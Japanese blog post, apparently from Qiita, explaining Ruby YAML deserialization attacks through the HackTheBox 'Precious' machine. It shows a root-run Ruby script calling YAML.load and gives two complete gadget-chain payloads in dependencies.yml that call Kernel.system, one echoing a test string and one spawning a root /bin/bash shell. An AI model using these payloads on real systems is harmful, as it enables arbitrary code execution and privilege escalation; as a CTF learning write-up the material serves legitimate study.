0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

YAML Deserialization Attack について

Last updated at Posted at 2023-05-19

YAML Deserialization Attack とは

RubyのYAMLデシリアライゼーション攻撃は、悪意のあるユーザーがRubyのYAMLパーサーを悪用して、予期しないコードの実行やシステムへの不正なアクセスを行おうとする攻撃手法です。
この攻撃は、RubyのYAMLパーサーが入力データをデシリアライズ(復元)する際に生じる脆弱性を悪用しています。

YAML(YAML Ain't Markup Language)は、人間に読みやすく記述できるデータシリアライゼーション形式です。
RubyのYAMLパーサーは、YAML形式のデータを解析し、Rubyオブジェクトに復元します。
このデシリアライゼーションプロセスにおいて、攻撃者は悪意のあるコードを埋め込んだYAMLデータを作成し、パーサーがそれを実行するように仕向けます。

攻撃者は、YAML内の特定の構文や機能を利用して、任意のRubyコードの実行やシステムへのアクセスを試みることができます。

Chat GPTより。

やってみる

今回はHackTheBoxのPreciousというマシンに焦点を当てて解説していきます。

このマシンを攻略する際に一部利用しました。
ネタバレになる恐れがありますので、注意してください。

以下のようなコードがRootで実行されるとします。

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

RubyのYAML.loadには脆弱性があります。
上記のスクリプトの場合は、dependencies.ymlを呼びだすので、以下のようなファイルを用意します。

任意のコマンドはgit_set: echo "VULN"に書きます。

dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: echo "VULN"
         method_id: :resolve

実行すると以下のような結果が得られます。

image.png

SHELL

SHELLが欲しいならこのような感じで実行します。

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

このファイルの呼び出し元がrootとしての実行が許可されているならrootのBashが取れますね。

image.png

まとめ

日本語のドキュメントが出てこなかったので書きました。

わーい

image.png

参考

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?